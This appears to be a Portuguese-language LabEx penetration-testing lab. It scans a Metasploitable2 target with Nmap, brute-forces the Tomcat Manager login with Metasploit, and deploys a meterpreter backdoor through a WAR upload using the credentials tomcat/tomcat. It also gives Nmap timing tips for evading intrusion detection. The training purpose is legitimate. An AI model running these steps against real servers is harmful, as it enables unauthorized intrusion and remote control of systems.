Explorar Vulnerabilidades do Tomcat com Nmap no Kali Linux

NmapBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá os princípios da exploração de vulnerabilidades do Tomcat e o processo de ataque a elas. Durante o processo de ataque, você aprenderá a usar o Kali Linux e a entender o framework de ataque Metasploit Framework (MSF) no Kali. A máquina alvo a ser penetrada neste laboratório é o Metasploitable2, baseado no ambiente Kali fornecido pela LabEx.

Verificar a Máquina Alvo em Busca de Vulnerabilidades de Rede

Em um teste de penetração típico, precisamos atacar ainda mais a máquina alvo. A primeira coisa que precisamos fazer é realizar uma varredura de penetração na máquina alvo. Durante o processo de varredura, podemos descobrir os serviços fornecidos pela máquina e, em seguida, determinar se existem vulnerabilidades com base nas informações disponíveis. Em seguida, tentamos penetrar nas potenciais vulnerabilidades e, por fim, comprometer a máquina alvo para obter suas vulnerabilidades.

  1. Abra um terminal xfce na máquina host LabEx e inicie o alvo Metasploitable2 executando o seguinte comando:
sudo virsh start Metasploitable2

Aguarde o início da máquina alvo, pode levar de 1 a 3 minutos.

  1. Teste a conectividade com a máquina alvo fazendo ping nela:
ping 192.168.122.102

Pressione Ctrl+C para parar o ping.

  1. Inicie o container Kali Linux e entre no ambiente bash executando:
docker run -ti --network host b5b709a49cd5 bash
  1. Dentro do container Kali, teste a conexão de rede com a máquina alvo:
ping 192.168.122.102

Pressione Ctrl+C para parar o ping.

Agora, tanto a máquina de ataque quanto a máquina alvo estão em execução, e você pode iniciar o teste de penetração.

  1. Em seguida, iniciamos o msfconsole e entramos na interface de operação:
cd ~
msfconsole
  1. Na fase de varredura, o Nmap é uma ferramenta de varredura muito útil. Durante o processo de varredura de vulnerabilidades, podemos analisar e tentar explorar potenciais vulnerabilidades por meio da análise. Aqui, realizamos uma varredura de penetração na máquina alvo usando o seguinte comando:
nmap -sV -T5 target

No comando acima, -T define a velocidade da varredura:

Parâmetro Significado
nmap T0 Varredura extremamente lenta, usada para evasão de IDS (Intrusion Detection System)
nmap T1 Varredura lenta, velocidade entre 0 e 2, também pode evadir alguns IDS
nmap T2 Velocidade de varredura reduzida, geralmente não usada
nmap T3 Velocidade de varredura padrão
nmap T4 Pode inundar o alvo, propenso a acionar o firewall
nmap T5 Velocidade de varredura insana, sacrificando a precisão pela velocidade

Pressione Ctrl+D para sair do console Metasploit e iniciar a inspeção

Força Bruta na Senha do Tomcat

Nesta etapa, começaremos a explorar a vulnerabilidade do Tomcat. Usaremos o módulo auxiliary/scanner/http/tomcat_mgr_login, que tenta fazer login no Tomcat Manager usando um conjunto específico de nomes de usuário e senhas. Se o login for bem-sucedido, ele exibirá o resultado.

O código do módulo de ataque:

A partir dos resultados da varredura, podemos ver que a porta 8180 está aberta. Vamos tentar atacar esta porta. Primeiro, no terminal MSF, procure o módulo Tomcat para ver se existe um módulo de vulnerabilidade correspondente:

  1. Antes de mais nada, se você não estiver no console Metasploit, deverá iniciar o console Metasploit:
cd ~
msfconsole
  1. Use a busca para encontrar o módulo apropriado:
search tomcat
  1. Use o comando use para selecionar o módulo apropriado:
use auxiliary/scanner/http/tomcat_mgr_login
  1. Exiba os parâmetros que precisam ser definidos:
show options
  1. Em seguida, verifique os parâmetros necessários que precisam ser definidos e use o comando set para definir os parâmetros:
set RHOSTS 192.168.122.102
  1. Defina as informações da porta:
set RPORT 8180
  1. Em seguida, use o comando para atacar e fazer força bruta na senha:
exploit

Pressione Ctrl+D para sair do console Metasploit e iniciar a inspeção

Utilizar a Senha do Tomcat para Penetração

Após obter a senha do Tomcat do módulo correspondente, usaremos a senha para penetrar na máquina alvo. Usaremos o módulo exploit/multi/http/tomcat_mgr_deploy, que faz login no Tomcat Manager e executa um payload. Este payload carrega um pacote WAR usando a operação PUT, e este pacote WAR contém um arquivo JSP que fornece um shell backdoor meterpreter.

O código do módulo de ataque:

  1. Antes de mais nada, se você não estiver no console Metasploit, deverá iniciar o console Metasploit:
cd ~
msfconsole
  1. Procure o módulo apropriado:
search tomcat
  1. Em seguida, selecione o módulo de ataque apropriado:
use exploit/multi/http/tomcat_mgr_deploy
  1. Use o comando show para visualizar os parâmetros necessários:
show options
  1. Defina o endereço do host alvo e a porta para atacar:
set rhost 192.168.122.102
  1. Defina as informações da porta:
set rport 8180
  1. Defina o nome da conta httpusername:
set httpusername tomcat
  1. Defina a senha httppassword:
set httppassword tomcat
  1. Em seguida, execute o ataque (isso pode levar aproximadamente um minuto):
exploit
  1. Certo, agora penetramos na máquina alvo. Em seguida, verificaremos a penetração bem-sucedida. No terminal de linha de comando bem-sucedido, insira o comando:
sysinfo

Não insira whoami, pois isso causará um erro porque o payload meterpreter usado aqui não suporta comandos como hostname, id, whoami, etc. Você pode usar o comando help para ver os comandos que ele suporta:

Como mostrado a seguir, ele exibe as informações do sistema operacional:

Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux

Pressione Ctrl+D para sair do console Metasploit e iniciar a inspeção

Resumo

Neste laboratório, você aprendeu os princípios da vulnerabilidade do Tomcat e o processo de ataque a ela. Geralmente, antes de um teste de penetração (penetration test), precisamos coletar informações sobre a máquina alvo. Durante o processo de coleta de informações, podemos descobrir melhor as vulnerabilidades e comprometer a máquina alvo. Após concluir este laboratório, você deve ter dominado os seguintes pontos de conhecimento:

  • Princípios da vulnerabilidade do Tomcat
  • Uso da varredura Nmap
  • Processo de ataque MSF
  • Verificação de ataques bem-sucedidos